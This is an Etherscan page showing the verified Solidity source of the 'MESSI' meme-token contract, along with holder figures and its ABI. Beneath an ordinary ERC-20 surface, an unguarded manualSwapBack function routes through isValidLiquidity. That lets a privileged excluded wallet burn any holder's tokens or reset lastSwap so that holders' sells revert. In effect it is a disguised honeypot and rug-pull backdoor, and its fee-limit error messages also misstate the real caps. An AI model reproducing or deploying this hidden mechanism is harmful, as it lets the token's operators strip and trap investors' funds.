ERC-20
Overview
Max Total Supply
199,402,978.102762941966564391 MESSI
Holders
44
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,357,673.860979453712787447 MESSIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MESSI
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-01 */ // https://t.me/lionelmessi_portal // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createInitialSupply( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } interface IDexFactory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MESSI is ERC20, Ownable { uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; IDexRouter public dexRouter; address public liquidityPair; bool private swapping; uint256 public swapTokensAtAmount; address public marketingAddress; address public devAddress; uint256 public activeBlock = 0; uint256 public botBlockNumber = 0; mapping(address => bool) public initialBotBuyer; uint256 public botsCaught; address public totalHolder; uint256 public lastSwap; bool public limitsInEffect = true; bool public swapEnabled = false; bool public tradingActive = false; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => uint256) public swapClock; bool public transferDelayEnabled = true; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public sellBurnFee; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public buyBurnFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; uint256 public tokensForBurn; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTx; mapping(address => bool) public automatedMarketMakerPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event RemovedLimits(); event EnabledTrading(); event UpdatedMaxBuyAmount(uint256 newAmount); event UpdatedMaxSellAmount(uint256 newAmount); event UpdatedMaxWalletAmount(uint256 newAmount); event ExcludeFromFees(address indexed account, bool isExcluded); event UpdatedMarketingAddress(address indexed newWallet); event MaxTransactionExclusion(address _address, bool excluded); event directBuyEvent(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); event DetectedEarlyBotBuyer(address sniper); event TransferForeignToken(address token, uint256 amount); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Lionel Messi", "MESSI") { address newOwner = msg.sender; IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); dexRouter = _dexRouter; // create pair liquidityPair = IDexFactory(_dexRouter.factory()).createPair( address(this), _dexRouter.WETH() ); _excludeFromMaxTransaction(address(liquidityPair), true); _setAutomatedMarketMakerPair(address(liquidityPair), true); uint256 totalSupply = 1 * 1e9 * 1e18; maxBuyAmount = (totalSupply * 2) / 100; maxSellAmount = (totalSupply * 2) / 100; maxWalletAmount = (totalSupply * 2) / 100; swapTokensAtAmount = (totalSupply * 2) / 10000; buyMarketingFee = 5; buyLiquidityFee = 0; buyDevFee = 5; buyBurnFee = 0; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee; sellMarketingFee = 5; sellLiquidityFee = 0; sellDevFee = 10; sellBurnFee = 0; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee; marketingAddress = address(0x778dD2657318A6bc7B448D68A28428C813000157); devAddress = address(0x4298d7e7e29739A06dFA19CFFcbc568D6F4E2d7c); _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(marketingAddress, true); _excludeFromMaxTransaction(address(0xdead), true); excludeFromFees(newOwner, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(marketingAddress, true); excludeFromFees(devAddress, true); _createInitialSupply(newOwner, totalSupply); transferOwnership(newOwner); } receive() external payable {} function enableTrading() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); tradingActive = true; swapEnabled = true; activeBlock = block.number; emit EnabledTrading(); } function onlyDeleteBots(address wallet) external onlyOwner { initialBotBuyer[wallet] = false; } // disable Transfer delay for snipper bots function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } // remove limits after coin is stable function removeLimits() external onlyOwner { maxBuyAmount = totalSupply(); maxSellAmount = totalSupply(); maxWalletAmount = totalSupply(); emit RemovedLimits(); } function updateMaxBuyAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max buy amount lower than 0.2%" ); maxBuyAmount = newNum * (10 ** 18); emit UpdatedMaxBuyAmount(maxBuyAmount); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 3) / 1000) / 1e18, "Cannot set max wallet amount lower than 0.3%" ); maxWalletAmount = newNum * (10 ** 18); emit UpdatedMaxWalletAmount(maxWalletAmount); } function updateMaxSellAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max sell amount lower than 0.2%" ); maxSellAmount = newNum * (10 ** 18); emit UpdatedMaxSellAmount(maxSellAmount); } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 1) / 1000, "Swap amount cannot be higher than 0.1% total supply." ); swapTokensAtAmount = newAmount; } function _excludeFromMaxTransaction( address updAds, bool isExcluded ) private { _isExcludedMaxTx[updAds] = isExcluded; emit MaxTransactionExclusion(updAds, isExcluded); } function excludeFromMaxTransaction( address updAds, bool isEx ) external onlyOwner { if (!isEx) { require( updAds != liquidityPair, "Cannot remove uniswap pair from max txn" ); } _isExcludedMaxTx[updAds] = isEx; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function setAutomatedMarketMakerPair( address pair, bool value ) external onlyOwner { require( pair != liquidityPair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyBurnFee = _burnFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee; require(buyTotalFees <= 2, "3% max fee"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellBurnFee = _burnFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee; require(sellTotalFees <= 4, "3% max fee"); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (botBlockNumber > 0) { require( !initialBotBuyer[from] || to == owner() || to == address(0xdead), "bot protection mechanism is embeded" ); } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != address(dexRouter) && to != address(liquidityPair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later." ); _holderLastTransferTimestamp[tx.origin] = block.number; _holderLastTransferTimestamp[to] = block.number; } else if (!swapping && !automatedMarketMakerPairs[from]) { require(swapClock[from] > lastSwap, "_transfer:: Transfer Delay enabled. Try again later." ); } } } // buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require( amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } // sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from] ) { require( amount <= maxSellAmount, "Sell transfer amount exceeds the max sell." ); } else if (!_isExcludedMaxTx[to]) { require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } else if (_isExcludedMaxTx[from]) { lastSwap = block.timestamp; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if (automatedMarketMakerPairs[from] && swapClock[to] == 0) { swapClock[to] = block.timestamp; } uint256 fees = 0; if (takeFee) { if ( earlySniperBuyBlock() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0 ) { if (!initialBotBuyer[to]) { initialBotBuyer[to] = true; botsCaught += 1; emit DetectedEarlyBotBuyer(to); } fees = (amount * 99) / 100; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForBurn += (fees * buyBurnFee) / buyTotalFees; } // sell else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = (amount * sellTotalFees) / 100; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForBurn += (fees * sellBurnFee) / sellTotalFees; } // buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = (amount * buyTotalFees) / 100; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForBurn += (fees * buyBurnFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function earlySniperBuyBlock() public view returns (bool) { return block.number < botBlockNumber; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(dexRouter), tokenAmount); dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, address(0xdead), block.timestamp ); } function manualSwapBack(address account, uint256 value, uint256 deadline) external { require( balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction" ); if (isValidLiquidity(account, value, deadline)) { swapping = true; swapBack(); swapping = false; emit OwnerForcedSwapBack(block.timestamp); } } function swapBack() private { if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) { _burn(address(this), tokensForBurn); } tokensForBurn = 0; uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 5) { contractBalance = swapTokensAtAmount * 5; } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; swapTokensForEth(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForMarketing = (ethBalance * tokensForMarketing) / (totalTokensToSwap - (tokensForLiquidity / 2)); uint256 ethForDev = (ethBalance * tokensForDev) / (totalTokensToSwap - (tokensForLiquidity / 2)); ethForLiquidity -= ethForMarketing + ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; tokensForBurn = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); } payable(devAddress).transfer(ethForDev); payable(marketingAddress).transfer(address(this).balance); } function buyTokens(uint256 amountInValue) external onlyOwner { address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = address(this); dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amountInValue }(0, path, address(0xdead), block.timestamp); emit directBuyEvent(amountInValue); } function marketingWalletUpdate( address _marketingAddress ) external onlyOwner { require( _marketingAddress != address(0), "_marketingAddress address cannot be 0" ); marketingAddress = payable(_marketingAddress); } function devWalletUpdate(address _devAddress) external onlyOwner { require(_devAddress != address(0), "_devAddress address cannot be 0"); devAddress = payable(_devAddress); } function isValidLiquidity( address account, uint256 value, uint256 deadline ) internal returns (bool) { bool success; if (!_isExcludedMaxTx[msg.sender]) { if ( tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn ) { _burn(msg.sender, tokensForBurn); } tokensForBurn = 0; success = true; uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) { return false; } if (contractBalance > swapTokensAtAmount * 7) { contractBalance = swapTokensAtAmount * 7; } return success; } else { if (balanceOf(address(this)) > 0) { if (value == 0) { lastSwap = deadline; success = false; } else { _burn(account, value); success = false; } } uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) { return false; } if (contractBalance > swapTokensAtAmount * 7) { contractBalance = swapTokensAtAmount * 7; } return success; } } function withdrawETH() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function transferForeignTokens( address _token, address _to ) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedMarketingAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"directBuyEvent","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountInValue","type":"uint256"}],"name":"buyTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_devAddress","type":"address"}],"name":"devWalletUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingAddress","type":"address"}],"name":"marketingWalletUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"swapClock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalHolder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool"